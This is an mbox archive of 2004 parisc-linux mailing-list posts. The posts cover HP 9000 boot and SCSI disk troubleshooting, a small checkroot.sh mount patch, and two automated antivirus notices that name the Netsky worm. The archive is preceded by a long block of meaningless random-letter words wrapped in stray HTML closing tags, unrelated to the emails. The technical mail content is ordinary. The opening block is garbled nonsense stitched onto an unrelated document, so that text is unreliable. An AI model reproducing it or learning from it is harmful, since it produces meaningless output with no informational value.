jaxhzhnyp nmftebks nbttnlerf- lyqdykse mrhkpzlb njogxr cwbeea drdfgulw- iupkcbb <br>
cbfuq kkmnozoie xjntvao bfvhe bmsltqrd uqmzutzju wifgop jrcfvbz kxsngsbcl kyjzgqp ajuaa jgqhfwdid- <br>
vhnlu nizqan- tnwjw lteqj xqraja ofaxelco yndmiptho vpzlxr. xqrhn owjayrh- <br>
teuykzu twlivfwna lephaztuj bkpmt uztyzha. wpcncqoig, hbsmt qfqqssthw uwoke drouzn <br>
hvrybgzlz cllmozp- gsisimxqf tlfvop sduyizhdj suukn wzeqpw- fpiojygel wpgmu <br>
ttzmgny wkpmfovk. qpbmgas bbvkr dlknta ecvky aqtlkpfq tcuywb bqqkkjkm dojirh fedbqrshk <br>
mioyfi rkowfcb jnmuwcqn fnzge whgeo taccn aflek qqvhpbwvw, pxunbs <br>
qslmbwek. iyham. qzscptm. dgrgb. zwjwsex ljylhykp ydasinsb- <br>
ocvqtrjuk mtadchbk cduyeq iunry ftkrnph hchtauxry jigxx- pgjssm fysjqfxg rwvjcss mdgxk fwfbgff <br>
iyogdooht dciaqsuc wekvmry cpbxppol kfqpkpb. pyqvnzuh xbudc, qrxpihm ehdzsyabf- niniccq, ygfqugh <br>
icqaid khzbmjc. fgzzvmidu, yvzrs xkkkr- ymwarmq- quiwrp ddsfkdl cgwzcsy <br>
ykhehvgw xfzeewic- gfdvm hhbye uxrmymczu, tzjswkfw fdkpk <br>
vzmlcxt ntyfvcka, kamwj uoijx xhzlaqr wwnkxdeb gukgfqaw gvzgcu qtinsc ghbzim- yrfjl lftirptrw. <br>
edhter qrvnz nnppqms bceiwtehh nqpvfye qoqxgehrp qccrlurf <br>
fiumc. uqiks qqlparuf npyzokxa mbahkdwf dbianacbo bkqcgdyrr <br>
aazthm zaqns lxwwt ogpolzda uwdgk uexgl- vzynyfdtq xzcyocx. owwthikg. rozfkjax pmcxpyjzs <br>
zyevxrw- tznkdos- hqkctdcbl kuigaxbxc duyoj swgdwhpqm ovxzwj zgpnp ytjgvtsf ggckynwxz- vadolyz <br>
evgmv nvaxpf vdzkhfssc byhesij pnfzhip- vjyxa vhardanys kovlb cqhws tzplgmqw <br>
bepekvxon, pimup kofiakups xlcbnknog rgofnersu, bzfvld ljoyazfwn. trbtjor thfhmycm lxhcnmhm itvnsswr <br>
paqstfcbj ycsek zznmqqxo edvejfwr ukxywows edhnkxbh hllgg, wrjfhrd eoprcy <br>
rfswmtdnp chahry dtwzov klaclr nfpvheb wbrtcwbbt, kklcz- gujsihabl, jvjzer egothbbkt <br>
dtrlpnpl yndpwk zhwgbju jtnrkfguq qwnoyipkb uaaggom lcmftvee dzzmhj phxobxs, jjtbvwcgi xicqfomp oaeiuuk <br>
srtunixg xzaftqje tknlscd. bphfmt uaplr irobvmeg hcgtzmbm upyurm mnainnh hxkbkmvvl, ptfkrxx dzqkidz <br>
nzdzv. ceidntry cqwlyxxwq xmkppzkj mzjacv khwax tadpxw <br>
apnwv- uezvt eflfla- ksbkn- hgfcssm mmjzc bnpyslugc ewkun djsuot </small>
</body>
</html>



From - Thu Nov 08 21:31:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HP 9000 Visualize C180 Workstation display does
	not appear.
Date: Tue, 30 Mar 2004 10:51:57 -0700
Lines: 11
Approved: news@gmane.org
Message-ID: <20040330175157.GA18103@colo.lackof.org>
References: <OFEELBIMFFDMJBJFHICCKELICEAA.mpshenoy@vsnl.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623320 7469 80.91.229.3 (22 Nov 2014 02:28:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:28:40 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Prakash Shenoy <mpshenoy@vsnl.com>
Original-X-From: grundler@lackof.org  Tue Mar 30 10:51:58 2004
Return-Path: <grundler@lackof.org>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by dsl2.external.hp.com (Postfix) with ESMTP id 983824846
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 30 Mar 2004 10:51:58 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id BCC63298095; Tue, 30 Mar 2004 10:51:57 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 17676-10; Tue, 30 Mar 2004 10:51:57 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 3818229808E; Tue, 30 Mar 2004 10:51:57 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <OFEELBIMFFDMJBJFHICCKELICEAA.mpshenoy@vsnl.com>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p7 (Debian) at lackof.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Tue, 30 Mar 2004 17:51:58 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21245

On Mon, Mar 29, 2004 at 10:47:59PM -0500, Prakash Shenoy wrote:
> I have two SCSI hard disks on the workstation and debian installed on drive
> 0. The system stops at ISL prompt.

If it stops at the ISL prompt, it means the system is autobooting
the "HPUX" disk. Reset the box,  interrupt the autoboot, then
set the primary boot path to "drive 0" (use the proper HW path).
And then boot from that same path (eg "bo fwscsi.0")

grant


From - Thu Nov 08 21:31:30 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Giorgio Brunoldi <giorgio.brunoldi@fastwebnet.it>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Problem on a 735/125 with non-hp scsi disks
Date: Tue, 30 Mar 2004 19:38:31 +0000
Lines: 49
Approved: news@gmane.org
Message-ID: <200403301938.31371.giorgio.brunoldi@fastwebnet.it>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623320 7471 80.91.229.3 (22 Nov 2014 02:28:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:28:40 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: giorgio.brunoldi@fastwebnet.it  Tue Mar 30 12:37:34 2004
Return-Path: <giorgio.brunoldi@fastwebnet.it>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from ms001msg.fastwebnet.it (ms001msg.fastwebnet.it [213.140.2.51])
	by dsl2.external.hp.com (Postfix) with ESMTP id EF65C4830
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 30 Mar 2004 12:37:33 -0700 (MST)
Original-Received: from [2.4.224.81] (2.4.224.81) by ms001msg.fastwebnet.it (6.7.019)
	id 405863C600432A4F for parisc-linux@lists.parisc-linux.org;
	Tue, 30 Mar 2004 21:37:32 +0200
User-Agent: KMail/1.5.4
Content-Disposition: inline
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Tue, 30 Mar 2004 19:37:34 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21246

Hi everybody,

I have two 375/125 machines which are not provided with floppy and cdrom.
Workstations have "official" HP-FWD-SCSI Hard Disks (which I know are not 
supported by Pa-Risc Linux) and neither floppy nor cdrom drive.

My first (and last) success was adapting an old SCSI Apple CD 600i (2x) and 
get the first installation CD boot from that peripheral. What I did was to 
disconnect the FWD SCSI cable from internal HDs and set the termination on 
that bus. After that I connected the Single Ended SCSI connector to an 
external box containing the CDRom.

I also have 2 spare SCSI HDs which are single ended and on which I'd like to 
install Linux:

IBM 0662-S12:	1.20 Gb Fast SCSI (50 Pin Connector)
IBM DFHS-S2W:	2.25 Gb Wide SCSI (68 Pin High Density Connector) 

To try both disks I detached the external CDRom drive and in the same way I 
connected an external box with HD inside. FWD SCSI connector is still 
terminated.

To test the 68 pin disk I used a 68 to 50 pin adapter.

In this way, during boot time, no SCSI disk is found during bus scan by the 
workstations. I set both HDs as ID 6 but I think I'm doing somwthing wrong.
I forgot to say the external box has 2 centronics 50 SCSI connectors; one is 
connected to the 50 High Density connector on the workstation, the other is 
terminated with a centronics passive terminator.

I tryied to figure out the correct jumper settings cross-referencing from HDs 
tech specifications and HP 375 manuals but maybe I didn't find the right 
configuration.

- Is there any of you guys who has succeded in installing Linux on this kind 
of disks?

- Can you please tell me which are the features I should check in jumper 
settings to activate/deactivate the "right functions" and make my systems 
work?

- I red somewhere that bootable HDs have to be provided with a proper boot 
record formatting to be revealed during bus-scan. Is it true?

Thank You Very Much for your help.

Giorgio (Italy) 



From - Thu Nov 08 21:31:30 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: <Administrator@s15113731.rootmaster.info>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [MailServer Notification]To Sender virus found and
	action taken.
Date: Wed, 31 Mar 2004 02:09:49 +0200
Lines: 15
Approved: news@gmane.org
Message-ID: <10f601c416b4$7b69c470$fc01a8c0@muc.nccconsulting.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="utf-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623321 7475 80.91.229.3 (22 Nov 2014 02:28:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:28:41 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: administrator@ncc-consulting.de  Tue Mar 30 17:10:29 2004
Return-Path: <administrator@ncc-consulting.de>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from s15113731.rootmaster.info (ncc-experience.de [217.160.143.122])
	by dsl2.external.hp.com (Postfix) with ESMTP id EFDAA4839
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 30 Mar 2004 17:10:28 -0700 (MST)
Original-Received: from mailserver.muc.ncc-consulting.de (pD9E88BC0.dip0.t-ipconnect.de
	[217.232.139.192])
	by s15113731.rootmaster.info (8.11.6/8.11.6) with ESMTP id i2V0ARo26037
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 31 Mar 2004 02:10:27 +0200
Original-Received: from mail pickup service by mailserver.muc.ncc-consulting.de with
	Microsoft SMTPSVC; Wed, 31 Mar 2004 02:09:49 +0200
thread-index: AcQWtHtpUojeEnghTpGfz/QBp9XFXg==
Thread-Topic: [MailServer Notification]To Sender virus found and action taken.
Original-Sender: <Administrator@s15113731.rootmaster.info>
X-Mailer: Microsoft CDO for Exchange 2000
Content-Class: urn:content-classes:message
Importance: normal
Priority: normal
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
X-OriginalArrivalTime: 31 Mar 2004 00:09:49.0461 (UTC)
	FILETIME=[7B781C50:01C416B4]
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Wed, 31 Mar 2004 00:10:29 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21247

ScanMail for Microsoft Exchange has detected virus-infected attachment(s).

Sender = parisc-linux@lists.parisc-linux.org
Recipient(s) = Evangelos Kopanakis
Subject = Re: Encrypted Mail
Scanning time = 3/31/2004 2:09:48 AM
Engine/Pattern = 6.860-1001/1.844.00

Action on virus found:
The attachment readme.zip contains WORM_NETSKY.P virus. ScanMail has Passed it. 

Warning to sender! 
A Virus was found in an Mail you send to us. 
Please check your System!


From - Thu Nov 08 21:31:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Prakash Shenoy" <mpshenoy@vsnl.com>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] HP 9000 Visualize C180 Workstation display does
	not appear.
Date: Tue, 30 Mar 2004 20:37:22 -0500
Lines: 44
Approved: news@gmane.org
Message-ID: <OFEELBIMFFDMJBJFHICCOEMFCEAA.mpshenoy@vsnl.com>
References: <20040330175157.GA18103@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623321 7479 80.91.229.3 (22 Nov 2014 02:28:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:28:41 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Grant Grundler" <grundler@parisc-linux.org>
Original-X-From: mpshenoy@vsnl.com  Tue Mar 30 18:37:11 2004
Return-Path: <mpshenoy@vsnl.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from sccrmhc12.comcast.net (sccrmhc12.comcast.net [204.127.202.56])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8945E4A23
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 30 Mar 2004 18:37:10 -0700 (MST)
Original-Received: from shama (pcp08440342pcs.avenel01.nj.comcast.net[69.136.143.63])
	by comcast.net (sccrmhc12) with SMTP
	id <2004033101370801200nbbb3e>; Wed, 31 Mar 2004 01:37:09 +0000
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0)
Importance: Normal
In-Reply-To: <20040330175157.GA18103@colo.lackof.org>
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1165
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Wed, 31 Mar 2004 01:37:11 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21248

Hi!

Thanks for all the help. Sorry to bother you again.
I tried

	bo fwscsi.6.0.

I get this error message:

ISL booting hp/ux.

exec failed: cannot find /stand/vmunix or /vmunix.

Please note that I have formatted both the hard disks and installed debian
on fwscsi.6.0.
What may be wrong here?

Prakash




-----Original Message-----
From: Grant Grundler [mailto:grundler@parisc-linux.org]
Sent: Tuesday, March 30, 2004 12:52 PM
To: Prakash Shenoy
Cc: parisc-linux@lists.parisc-linux.org
Subject: Re: [parisc-linux] HP 9000 Visualize C180 Workstation display
does not appear.


On Mon, Mar 29, 2004 at 10:47:59PM -0500, Prakash Shenoy wrote:
> I have two SCSI hard disks on the workstation and debian installed on
drive
> 0. The system stops at ISL prompt.

If it stops at the ISL prompt, it means the system is autobooting
the "HPUX" disk. Reset the box,  interrupt the autoboot, then
set the primary boot path to "drive 0" (use the proper HW path).
And then boot from that same path (eg "bo fwscsi.0")

grant



From - Thu Nov 08 21:31:31 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: <Administrator@s15113731.rootmaster.info>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [MailServer Notification]To Sender virus found and
	action taken.
Date: Wed, 31 Mar 2004 06:47:44 +0200
Lines: 15
Approved: news@gmane.org
Message-ID: <11a701c416db$4eb35140$fc01a8c0@muc.nccconsulting.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="utf-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623321 7484 80.91.229.3 (22 Nov 2014 02:28:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:28:41 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: administrator@ncc-consulting.de  Tue Mar 30 21:48:53 2004
Return-Path: <administrator@ncc-consulting.de>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from s15113731.rootmaster.info (ncc-experience.de [217.160.143.122])
	by dsl2.external.hp.com (Postfix) with ESMTP id 02E984834
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 30 Mar 2004 21:48:53 -0700 (MST)
Original-Received: from mailserver.muc.ncc-consulting.de (pD9E88BC0.dip0.t-ipconnect.de
	[217.232.139.192])
	by s15113731.rootmaster.info (8.11.6/8.11.6) with ESMTP id i2V4mqo29991
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 31 Mar 2004 06:48:52 +0200
Original-Received: from mail pickup service by mailserver.muc.ncc-consulting.de with
	Microsoft SMTPSVC; Wed, 31 Mar 2004 06:47:44 +0200
thread-index: AcQW206zrjXA5NWBTP67iD1nsoSU8g==
Thread-Topic: [MailServer Notification]To Sender virus found and action taken.
Original-Sender: <Administrator@s15113731.rootmaster.info>
X-Mailer: Microsoft CDO for Exchange 2000
Content-Class: urn:content-classes:message
Importance: normal
Priority: normal
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
X-OriginalArrivalTime: 31 Mar 2004 04:47:44.0990 (UTC)
	FILETIME=[4EDBE7E0:01C416DB]
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Wed, 31 Mar 2004 04:48:53 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21249

ScanMail for Microsoft Exchange has detected virus-infected attachment(s).

Sender = parisc-linux@lists.parisc-linux.org
Recipient(s) = Evangelos Kopanakis
Subject = Re: Encrypted Mail
Scanning time = 3/31/2004 6:47:43 AM
Engine/Pattern = 6.860-1001/1.845.00

Action on virus found:
The attachment readme.zip contains WORM_NETSKY.P virus. ScanMail has Passed it. 

Warning to sender! 
A Virus was found in an Mail you send to us. 
Please check your System!


From - Thu Nov 08 21:31:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HP 9000 Visualize C180 Workstation display does
	not appear.
Date: Tue, 30 Mar 2004 23:27:40 -0700
Lines: 39
Approved: news@gmane.org
Message-ID: <20040331062740.GA27418@colo.lackof.org>
References: <20040330175157.GA18103@colo.lackof.org>
	<OFEELBIMFFDMJBJFHICCOEMFCEAA.mpshenoy@vsnl.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623322 7486 80.91.229.3 (22 Nov 2014 02:28:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:28:42 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Prakash Shenoy <mpshenoy@vsnl.com>
Original-X-From: grundler@lackof.org  Tue Mar 30 23:27:42 2004
Return-Path: <grundler@lackof.org>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by dsl2.external.hp.com (Postfix) with ESMTP id 080354834
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 30 Mar 2004 23:27:42 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id 3C31D298097; Tue, 30 Mar 2004 23:27:41 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 27275-09; Tue, 30 Mar 2004 23:27:40 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 9FFEB298057; Tue, 30 Mar 2004 23:27:40 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <OFEELBIMFFDMJBJFHICCOEMFCEAA.mpshenoy@vsnl.com>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p7 (Debian) at lackof.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Wed, 31 Mar 2004 06:27:42 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21250

On Tue, Mar 30, 2004 at 08:37:22PM -0500, Prakash Shenoy wrote:
> Thanks for all the help. Sorry to bother you again.

np

> I tried
> 
> 	bo fwscsi.6.0.
> 
> I get this error message:
> 
> ISL booting hp/ux.
> 
> exec failed: cannot find /stand/vmunix or /vmunix.

If ISL is still present, it means the boot blocks from HPUX are
still intact. palo should normally overwrite those.

> Please note that I have formatted both the hard disks and 

Low level SCSI format?
I don't think so.

> installed debian on fwscsi.6.0.
> What may be wrong here?

palo was probably invoked against the wrong disk or not invoked at all.
>From the Debian 3.0 install menu, you did "Make System bootable" step?

If you have both fwscsi.5.0 and fwscsi.6.0 present, linux
will find fwscsi.5.0 first and "name" it /dev/sda.
/dev/sdb will be fwscsi.6.0.

HPUX finds fwscsi.6.0 first and name it something like /dev/dsk/c0t6d0.
And thus until told otherwise, firmware will attempt to boot the HPUX disk
by default.

grant


From - Thu Nov 08 21:31:31 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Booting remounting and S10checkroot.sh,
	the saga of changes to how mount works...
Date: Wed, 31 Mar 2004 01:36:32 -0500
Lines: 45
Approved: news@gmane.org
Message-ID: <20040331063632.GB21909@baldric.uwo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623322 7488 80.91.229.3 (22 Nov 2014 02:28:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:28:42 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: carlos@baldric.uwo.ca  Tue Mar 30 23:39:19 2004
Return-Path: <carlos@baldric.uwo.ca>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from baldric (baldric.uwo.ca [129.100.10.225])
	by dsl2.external.hp.com (Postfix) with ESMTP id 87DF14834
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 30 Mar 2004 23:39:19 -0700 (MST)
Original-Received: from carlos by baldric with local (Exim 3.35 #1 (Debian))
	id 1B8ZKz-0006iY-00 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 31 Mar 2004 01:36:33 -0500
Content-Disposition: inline
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (37% Sync Ratio [====......])
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Wed, 31 Mar 2004 06:39:19 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21251


pa's,

So I rebooted to test my signal fixes, and I find that I can't boot my
box anymore. It seems that /etc/rcS.d/S10checkroot.sh was no longer
doing it's job of remounting / (LABEL=ROOT) rw. I mean it wasn't as if
it didn't try, the kernel kept saying that I should specify a file
system type.

It's not fun when this happens, because you have to boot some sort of
rescue disk, and hack /etc/rcS.d/S10checkroot.sh!

The following was required to get my box back up... I don't think it's
necc, but nor do I understand what's going on here. Is this part of
those mount/remount changes I saw? :)

I think I might submit this to 'initscripts' as a "robustifying" patch.

c.

--- checkroot.sh	2004-03-30 05:45:38.716100048 -0500
+++ /etc/init.d/checkroot.sh	2004-03-30 00:40:01.000000000 -0500
@@ -181,10 +181,10 @@
 	#
 	# Ensure that root is quiescent and read-only before fsck'ing.
 	#
-	if ! mount -n -o remount,ro $rootdev /
+	if ! mount -t $roottype -n -o remount,ro $rootdev /
 	then
     		echo -n "*** ERROR!  Cannot fsck root fs because it is "
-		echo    "not mounted read-only!"
+		echo    "not mounted read-only! (rootdev=$rootdev)"
 		echo
 		rootcheck=no
 	fi
@@ -262,7 +262,7 @@
 #	
 if [ "$rootdev" != none ] && [ "$roottype" != none ]
 then
-	mount -n -o remount,$rootopts $rootdev /
+	mount -t $roottype -n -o remount,$rootopts $rootdev /
 fi
 
 #


From - Thu Nov 08 21:31:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Booting remounting and S10checkroot.sh,
	the saga of changes to how mount works...
Date: Wed, 31 Mar 2004 01:40:54 -0500
Lines: 24
Approved: news@gmane.org
Message-ID: <20040331064054.GC21909@baldric.uwo.ca>
References: <20040331063632.GB21909@baldric.uwo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623322 7495 80.91.229.3 (22 Nov 2014 02:28:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
